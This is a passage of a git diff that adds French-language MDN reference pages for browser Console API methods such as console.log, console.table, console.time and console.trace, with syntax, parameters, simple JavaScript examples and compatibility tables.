+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("2.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Substitution strings</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("9.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("38.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+</ul>
diff --git a/files/fr/web/api/console/log/index.html b/files/fr/web/api/console/log/index.html
new file mode 100644
index 0000000000..e7fb49d849
--- /dev/null
+++ b/files/fr/web/api/console/log/index.html
@@ -0,0 +1,97 @@
+---
+title: console.log()
+slug: Web/API/Console/log
+tags:
+  - API
+  - DOM
+  - Développement
+  - Method
+  - Méthode
+  - Refernece
+  - Web
+  - console
+  - console.dir()
+  - console.log()
+translation_of: Web/API/Console/log
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>La méthode <strong><code>log()</code></strong> de l'objet {{domxref("Console")}} affiche un message dans la console Web. Le message peut être une simple chaine (avec des valeurs optionnelles de substitution), ou peut être un ou plusieurs objets JavaScript.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">console.log(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.log(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>une liste d'objets Javascript à afficher. Les représentations textuelles de chacun de ces objets seront affichées à la sortie dans l'ordre indiqué. Notez que si vous consignez des objets dans les dernières versions de Chrome et Firefox, ce que vous avez enregistré sur la console est une référence à l'objet, qui n'est pas nécessairement la «valeur» de l'objet au moment où vous appelez la console.log (), mais est la valeur de l'objet au moment où vous cliquez dessus.</dd>
+ <dt><code>msg</code></dt>
+ <dd>Une chaîne de caractères JavaScript contenant zéro ou plusieurs chaînes de substitution.</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd>Objets Javascript qui remplaceront les chaînes de subsitution éventuellement contenues dans <code>msg</code>. Cela offre plus de contrôle sur le format d'affichage.</dd>
+</dl>
+
+<p>Voir <a href="/fr/docs/Web/API/Console#Outputting_text_to_the_console" title="DOM/console#Outputting_text_to_the_console">Afficher du texte sur la console</a> dans la documentation de {{domxref("console")}} pour plus de détails.</p>
+
+<h2 id="Différence_avec_console.dir">Différence avec console.dir()</h2>
+
+<p><span id="result_box" lang="fr"><span>Vous pourriez vous demander quelle est la différence entre {{domxref("</span></span>console.dir()")}} et <code>console.log()</code>.</p>
+
+<p>Une autre différence utile dans Chrome existe lors de l'envoi d'éléments DOM vers la console.</p>
+
+<p><img alt="" src="https://i.imgur.com/DozDcYR.png"></p>
+
+<p>À noter :</p>
+
+<ul>
+ <li><code>console.log</code> affiche les éléments dans un arbre de type HTML,</li>
+ <li><code>console.dir</code> affiche les éléments dans un arbre de type JSON.</li>
+</ul>
+
+<p><span class="short_text" id="result_box" lang="fr"><span>Plus précisément</span></span>, <code>console.log</code> fait un traitement spécial aux éléments DOM, alors que <code>console.dir</code> n'en fait pas. C'est souvent utile pour voir la représentation complète de l'objet JS DOM.</p>
+
+<p>Il y a plus d'informations dans <a href="https://developers.google.com/chrome-developer-tools/docs/console-api#consoledirobject">Chrome Console API reference</a> sur ceci et d'autres fonctions.</p>
+
+<h2 id="Affichage_dobjets">Affichage d'objets</h2>
+
+<p>Évitez d'utiliser <code>console.log(obj)</code> mais préférez <code>console.log(JSON.parse(JSON.stringify(obj)))</code> afin d'être sûr de voir la valeur de l'objet au moment de l'affichage en console. Autrement, de nombreux navigateurs produisent un affichage interactif de l'objet qui se maintient à jour quand les propriétés de l'objet changent. Cela ne pourrait pas être ce que vous voulez et peut porter à confusion.</p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#log", "console.log()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Console.log")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+ <li><a href="http://getfirebug.com/wiki/index.php/Console_API" title="http://getfirebug.com/wiki/index.php/Console_API">Firebug wiki: Console API</a> - Firebug supports additional features in its console.log() implementation, such as <a href="http://www.softwareishard.com/blog/firebug/firebug-tip-styled-logging/" title="http://www.softwareishard.com/blog/firebug/firebug-tip-styled-logging/">styled logging</a>.</li>
+ <li><a href="http://nodejs.org/docs/latest/api/console.html#console_console_log_data">NodeJS: Console API</a></li>
+</ul>
diff --git a/files/fr/web/api/console/profile/index.html b/files/fr/web/api/console/profile/index.html
new file mode 100644
index 0000000000..e35031d483
--- /dev/null
+++ b/files/fr/web/api/console/profile/index.html
@@ -0,0 +1,42 @@
+---
+title: Console.profile()
+slug: Web/API/Console/profile
+tags:
+  - API
+  - DOM
+  - Méthodes
+  - Profils
+  - débogage
+translation_of: Web/API/Console/profile
+---
+<p>{{APIRef("Console API")}}{{Non-standard_header}}</p>
+
+<p>Commence l'enregistrement d'un profil de performance (par exemple, l'outil <a href="https://developer.mozilla.org/fr/docs/Outils/Performance">performance de Firefox</a>).</p>
+
+<p>Vous pouvez éventuellement fournir un argument pour nommer le profil, ce qui vous permet d'arrêter uniquement ce profil si plusieurs profils sont enregistrés. Voir {{domxref("Console.profileEnd()")}} pour voir comment cet argument est interprété.</p>
+
+<p>Pour arrêter l'enregistrement, appeler {{domxref("Console.profileEnd()")}}.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">console.profile(<em>profileName</em>);
+</pre>
+
+<h2 id="Paramètres">Paramètres</h2>
+
+<dl>
+ <dt><code>profileName</code></dt>
+ <dd>Le nom à donner au profil. Facultatif.</dd>
+</dl>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.Console.profile")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Console.profileEnd()")}}</li>
+</ul>
diff --git a/files/fr/web/api/console/profileend/index.html b/files/fr/web/api/console/profileend/index.html
new file mode 100644
index 0000000000..dc76f8eac9
--- /dev/null
+++ b/files/fr/web/api/console/profileend/index.html
@@ -0,0 +1,49 @@
+---
+title: Console.profileEnd()
+slug: Web/API/Console/profileEnd
+tags:
+  - API
+  - DOM
+  - Méthodes
+  - Profils
+translation_of: Web/API/Console/profileEnd
+---
+<p>{{APIRef("Console API")}}{{Non-standard_header}}</p>
+
+<div class="warning">
+<p>L'appel de cet API immédiatement après <code>console.profile()</code> peut l'empêcher de fonctionner. Pour contourner ce problème, appelez-le par un  <code>setTimeout</code> avec un délai d'au-moins 5 ms. Voir <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1173588">bug #1173588</a>.</p>
+</div>
+
+<p>La méthode <code>profileEnd</code>  arrête l'enregistrement d'un profil lancé précédemment avec {{domxref("Console.profile()")}}.</p>
+
+<p>Vous pouvez éventuellement insérer un argument pour nommer le profil. Cela vous permet d'arrêter uniquement ce profil si vous avez enregistré plusieurs profils.</p>
+
+<ul>
+ <li>Si <code>Console.profileEnd()</code> reçoit un nom de profil qui correspond au nom d'un profil en cours d'enregistrement, ce profil est arrêté.</li>
+ <li>Si <code>Console.profileEnd()</code> reçoit un nom de profil qui ne correspond pas au nom d'un profil en cours d'enregistrement, aucune modification n'est apportée.</li>
+ <li>Si <code>Console.profileEnd()</code> ne reçoit pas un nom de profil, le dernier profil démarré est arrêté.</li>
+</ul>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">console.profileEnd(<em>profileName</em>);
+</pre>
+
+<h2 id="Paramètres">Paramètres</h2>
+
+<dl>
+ <dt><code>profileName</code></dt>
+ <dd>Le nom à donner au profil. Ce paramètre est facultatif.</dd>
+</dl>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.Console.profileEnd")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Console.profile()")}}</li>
+</ul>
diff --git a/files/fr/web/api/console/table/index.html b/files/fr/web/api/console/table/index.html
new file mode 100644
index 0000000000..dabdd1fa6d
--- /dev/null
+++ b/files/fr/web/api/console/table/index.html
@@ -0,0 +1,152 @@
+---
+title: Console.table
+slug: Web/API/Console/table
+tags:
+  - API
+  - DOM
+  - Développement
+  - Méthode
+  - console
+  - débogage
+translation_of: Web/API/Console/table
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p><span class="seoSummary">Affiche des données tabulaires sous la forme d'un tableau.</span></p>
+
+<p>Cette fonction prend un argument obligatoire <code>data</code>, qui doit être un tableau (Array) ou un objet, et un argument facultatif <code>columns</code>.</p>
+
+<p>Il affiche <code>data</code> sous la forme d'un tableau. Chaque élément dans le tableau fourni (Array) sera affiché comme une ligne dans le tableau. (ou les propriétés énumérables s'il s'agit d'un objet)</p>
+
+<p>La première colonne dans le tableau sera intitulé <code>(index)</code>. Si <code>data</code> est un tableau (Array), alors les valeurs de cette colonne seront les index du tableau (Array). Si <code>data</code> est un objet, alors ses valeurs seront les noms des propriétés.À noter (dans Firefox) :  <code>console.table</code> est limité à l'affichage de 1000 lignes (la première ligne est l'index étiqueté)</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h3 id="Collections_de_données_primitives">Collections de données primitives</h3>
+
+<p><code>data</code> peut contenir un tableau ou un objet.</p>
+
+<pre class="brush: js">// un tableau de chaînes de caractères
+
+console.table(["apples", "oranges", "bananas"]);</pre>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8567/console-table-array.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<pre class="brush: js">// un objet dont les propriétés sont des chaînes de caractères
+
+function Person(firstName, lastName) {
+  this.firstName = firstName;
+  this.lastName = lastName;
+}
+
+var me = new Person("John", "Smith");
+
+console.table(me);</pre>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8559/console-table-simple-object.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h3 id="Collections_de_données_composées">Collections de données composées</h3>
+
+<p>Si les éléments d'un tableau, ou les propriétés d'un objet, sont eux-mêmes des tableaux ou des objets, alors ces éléments ou propriétés sont énumérés dans chaque ligne, un élément par colonne :</p>
+
+<pre class="brush: js">// un tableau de tableaux
+
+var people = [["John", "Smith"], ["Jane", "Doe"], ["Emily", "Jones"]]
+console.table(people);</pre>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8561/console-table-array-of-array.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<pre class="brush: js">// un tableau d'objets
+
+function Person(firstName, lastName) {
+  this.firstName = firstName;
+  this.lastName = lastName;
+}
+
+var john = new Person("John", "Smith");
+var jane = new Person("Jane", "Doe");
+var emily = new Person("Emily", "Jones");
+
+console.table([john, jane, emily]);</pre>
+
+<p>Notez que si le tableau contient des objets, alors les colonnes seront nommées avec les noms des propriétés.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8563/console-table-array-of-objects.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<pre class="brush: js">// un objet contenant des propriétés qui sont des objets
+
+var family = {};
+
+family.mother = new Person("Jane", "Smith");
+family.father = new Person("John", "Smith");
+family.daughter = new Person("Emily", "Smith");
+
+console.table(family);</pre>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8565/console-table-object-of-objects.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h3 id="Restreindre_les_colonnes_affichées">Restreindre les colonnes affichées</h3>
+
+<p>Par défaut, <code>console.table()</code> liste tous les éléments pour chaque ligne. Vous pouvez utiliser le paramètre facultatif <code>columns</code> pour sélectionner un sous-ensemble de colonnes à afficher :</p>
+
+<pre class="brush: js">// un tableau d'objets, affichant seulement firstName
+
+function Person(firstName, lastName) {
+  this.firstName = firstName;
+  this.lastName = lastName;
+}
+
+var john = new Person("John", "Smith");
+var jane = new Person("Jane", "Doe");
+var emily = new Person("Emily", "Jones");
+
+console.table([john, jane, emily], ["firstName"]);</pre>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8569/console-table-array-of-objects-firstName-only.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h3 id="Ordonner_les_colonnes">Ordonner les colonnes</h3>
+
+<p>Vous pouvez ordonner les colonnes en cliquant sur l'intitulé de la colonne.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">console.table(data [, <em>columns]</em>);
+</pre>
+
+<h3 id="Parameters" name="Parameters">Paramètres</h3>
+
+<dl>
+ <dt><code>data</code></dt>
+ <dd>La donnée à afficher. Doit être un tableau ou un objet.</dd>
+ <dt><code>columns</code></dt>
+ <dd>Un tableau contenant les noms des colonnes à inclure dans la sortie.</dd>
+</dl>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#table", "console.table()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+
+<div>{{Compat("api.Console.table")}}</div>
+
+<div id="compat-desktop"> </div>
+
+<div id="compat-mobile">
+<div id="compat-desktop"> </div>
+</div>
diff --git a/files/fr/web/api/console/time/index.html b/files/fr/web/api/console/time/index.html
new file mode 100644
index 0000000000..69c5e481d9
--- /dev/null
+++ b/files/fr/web/api/console/time/index.html
@@ -0,0 +1,60 @@
+---
+title: console.time
+slug: Web/API/Console/time
+tags:
+  - API
+  - DOM
+  - Développement
+  - Méthode
+  - Web
+  - console
+  - débogage
+translation_of: Web/API/Console/time
+---
+<p>{{APIRef("Console API")}}</p>
+
+<p>Chronomètre une opération. Chaque "timer" doit avoir un nom unique. Il peut y avoir jusqu'à 10000 "timers" sur une même page. En appelant {{ domxref("console.timeEnd()") }} avec le même nom, le navigateur affichera le temps d'execution en millisecondes <span style="line-height: inherit;">dans la console.</span></p>
+
+<p>Voir <a href="https://developer.mozilla.org/fr/docs/Web/API/console#Timers" title="en/DOM/console#Timers">Timers</a> dans la documentation de {{ domxref("console") }} pour plus de details et d'exemples.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox">console.time(<em>label</em>);
+</pre>
+
+<h2 id="Paramètres">Paramètres</h2>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>Nom qui identifiera le nouveau "timer". Il faut utiliser le même nom pour {{ domxref("console.timeEnd()") }} pour arrêter le "timer" et afficher le temps dans la console.</dd>
+</dl>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#time", "console.time()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité  des navigateurs</h2>
+
+<p>{{Compat("api.Console.time")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{ domxref("console.timeEnd()") }}</li>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+</ul>
diff --git a/files/fr/web/api/console/timeend/index.html b/files/fr/web/api/console/timeend/index.html
new file mode 100644
index 0000000000..f4a94062cf
--- /dev/null
+++ b/files/fr/web/api/console/timeend/index.html
@@ -0,0 +1,58 @@
+---
+title: console.timeEnd
+slug: Web/API/Console/timeEnd
+tags:
+  - API
+  - Console Web
+  - DOM
+  - Développement Web
+  - Methode(2)
+  - Méthode
+translation_of: Web/API/Console/timeEnd
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>Arrête un chronomètre (<em>timer</em>) précédemment démarré par {{domxref("console.time()")}}.</p>
+
+<p>Voir <a href="https://developer.mozilla.org/fr/docs/Web/API/console#Timers" title="DOM/console#Timers">Timers</a> dans la documentation de {{domxref("console")}} pour des détails et des exemples.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox">console.timeEnd(<em>label</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>Le nom du <em>timer</em> à stopper. Une fois arrêté, le temps écoulé est automatiquement affiché dans la <a href="https://developer.mozilla.org/fr/docs/Outils/Console_Web">Console Web</a>.</dd>
+</dl>
+
+<h2 id="Spécification" name="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#timeend", "console.timeEnd()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{Compat("api.Console.timeEnd")}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a>.</li>
+</ul>
diff --git a/files/fr/web/api/console/timelog/index.html b/files/fr/web/api/console/timelog/index.html
new file mode 100644
index 0000000000..0b06d664eb
--- /dev/null
+++ b/files/fr/web/api/console/timelog/index.html
@@ -0,0 +1,99 @@
+---
+title: Console.timeLog()
+slug: Web/API/Console/timeLog
+tags:
+  - API
+  - Console Web
+  - DOM
+  - Développement Web
+  - Méthode
+  - console
+  - débogage
+translation_of: Web/API/Console/timeLog
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>Affiche dans la console la valeur actuelle d'un timer précédemment appelé par {{domxref("console.time()")}}</p>
+
+<p>Voir <a href="/en-US/docs/Web/API/console#Timers">Timers</a> dans la documentation pour des exemples et plus de détails</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">console.timeLog(<em>label</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>Le nom du timer à afficher sur la console</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Si aucun label n'est inclus</p>
+
+<pre>default: 1042ms</pre>
+
+<p>Si un <code>label</code> est inclus:</p>
+
+<pre>timer name: 1242ms</pre>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Si aucun timer n'est en cours d'éxecution, <code>timeLog()</code> retourne l'avertissement suivant :</p>
+
+<pre>Timer “default” doesn’t exist.</pre>
+
+<p>Si le paramètre label est spécifé mais aucun timer n'y correspond :</p>
+
+<pre> Timer “timer name” doesn’t exist. </pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre>console.time("answer time");
+alert("Click to continue");
+console.timeLog("answer time");
+alert("Do a bunch of other stuff...");
+console.timeEnd("answer time");</pre>
+
+<p>Le résultat de l'exemple ci-dessus montre le temps qu'a mis l'utilisateur à fermer la première pop-up d'alerte, puis le temps que l'utilisateur a pris pour fermer la seconde :</p>
+
+<p><img alt="timerresult.png" class="default internal" src="https://mdn.mozillademos.org/files/16113/console-timeLog.png" style="border: 1px solid black; height: 102px; margin: 0 auto; width: 318px;"></p>
+
+<p>Notez que le nom du timer est à la fois affiché lorsque la valeur est affichée par <code>timeLog()</code> et lorsque le timer est arrêté</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#timelog", "console.timeLog()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+
+
+<p>{{Compat("api.Console.timeLog")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="http://www.opera.com/dragonfly/documentation/console/">Documentation d'Opera Dragonfly: Console</a></li>
+</ul>
diff --git a/files/fr/web/api/console/timestamp/index.html b/files/fr/web/api/console/timestamp/index.html
new file mode 100644
index 0000000000..2bc0f56843
--- /dev/null
+++ b/files/fr/web/api/console/timestamp/index.html
@@ -0,0 +1,42 @@
+---
+title: Console.timeStamp()
+slug: Web/API/Console/timeStamp
+tags:
+  - API
+  - DOM
+  - Développement
+  - Méthodes
+  - console
+translation_of: Web/API/Console/timeStamp
+---
+<div>{{APIRef("Console API")}}{{Non-standard_header}}</div>
+
+<p>Ajoute un seul marqueur à l'outil <a href="https://developers.google.com/web/tools/chrome-devtools/evaluate-performance/reference">Performance</a> ou <a href="https://developer.mozilla.org/fr/docs/Outils/Performance/Waterfall">Waterfall</a> du navigateur. Cela vous permet de corréler un point de votre code avec les autres événements enregistrés dans la chronologie, tels que les événements de mise en page et de peinture.</p>
+
+<p>Vous pouvez éventuellement fournir un argument pour étiqueter l'horodatage, et cette étiquette sera ensuite affichée à côté du marqueur.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">console.timeStamp(label);
+</pre>
+
+<h2 id="Paramètres">Paramètres</h2>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>Étiquette pour l'horodatage. Facultatif.</dd>
+</dl>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.Console.timestamp")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Console.time()")}}</li>
+ <li>{{domxref("Console.timeEnd()")}}</li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Outils/Performance/Waterfall#Marqueurs_de_temps">Ajout d'un marqueur de temps pour le Waterfall</a></li>
+</ul>
diff --git a/files/fr/web/api/console/trace/index.html b/files/fr/web/api/console/trace/index.html
new file mode 100644
index 0000000000..35e3cf2838
--- /dev/null
+++ b/files/fr/web/api/console/trace/index.html
@@ -0,0 +1,69 @@
+---
+title: Console.trace()
+slug: Web/API/Console/trace
+tags:
+  - API
+  - DOM
+  - Développement
+  - Méthode
+  - console
+  - débogage
+  - trace
+translation_of: Web/API/Console/trace
+---
+<p>{{ APIRef("Console API") }}</p>
+
+<p>Affiche la <em>stack trace</em> dans la <a href="https://developer.mozilla.org/fr/docs/Outils/Console_Web" title="Web Console">Web Console</a>.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p>Voir <a href="https://developer.mozilla.org/fr/docs/Web/API/console#Stack_traces" title="en/DOM/console#Stack_traces">Stack traces</a> dans la documentation de {{ domxref("console") }} pour plus de détails et d'exemples.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox">console.trace();
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">foo</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">function</span> <span class="function token">bar</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    console<span class="punctuation token">.</span><span class="function token">trace</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  <span class="function token">bar</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="function token">foo</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Dans la console, la trace suivante sera affichée :</p>
+
+<pre class="line-numbers  language-html"><code class="language-html">bar
+foo
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>anonymous</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#trace", "console.trace()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Définition Initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.Console.trace")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p><a class="external external-icon" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></p>
diff --git a/files/fr/web/api/console/warn/index.html b/files/fr/web/api/console/warn/index.html
new file mode 100644
index 0000000000..4da87fa1a3
--- /dev/null
+++ b/files/fr/web/api/console/warn/index.html
@@ -0,0 +1,68 @@
+---
+title: Console.warn()
+slug: Web/API/Console/warn
+tags:
+  - API
+  - DOM
+  - Développement
+  - Méthode
+  - console
+  - débogage
+translation_of: Web/API/Console/warn
+---
+<p>{{ APIRef("Console API") }}</p>
+
+<p>Affiche un message d'avertissement dans la console web.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<div class="note"><strong>Note:</strong> Dans Firefox, une icône de point d'exclamation est affichée à côté des messages d'avertissement</div>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox">console.warn(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.warn(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+</pre>
+
+<h2 id="Paramétres">Paramétres</h2>
+
+<dl>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>Une liste d'objets JavaScript à afficher. La représentation, en chaîne de caractéres, de chacun de ces objets est affichée dans l'ordre de la liste.</dd>
+ <dt><code>msg</code></dt>
+ <dd>Une chaîne de caractères JavaScript contenant zéro ou plusieurs subdivisions de chaîne de caractères.</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd>Une liste d'objets JavaScript qui remplace les chaînes de caractéres de <code>msg</code>. Cela vous donne plus de contrôle sur le format de sortie.</dd>
+</dl>
+
+<p>Voir <a href="https://developer.mozilla.org/fr/docs/Web/API/console#Outputting_text_to_the_console" title="en/DOM/console#Outputting_text_to_the_console">Outputting text to the console</a> dans la documentation de {{ domxref("console") }} pour plus de détails.</p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#warn", "console.warn()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.Console.warn")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+</ul>
diff --git a/files/fr/web/api/console_api/index.html b/files/fr/web/api/console_api/index.html
new file mode 100644
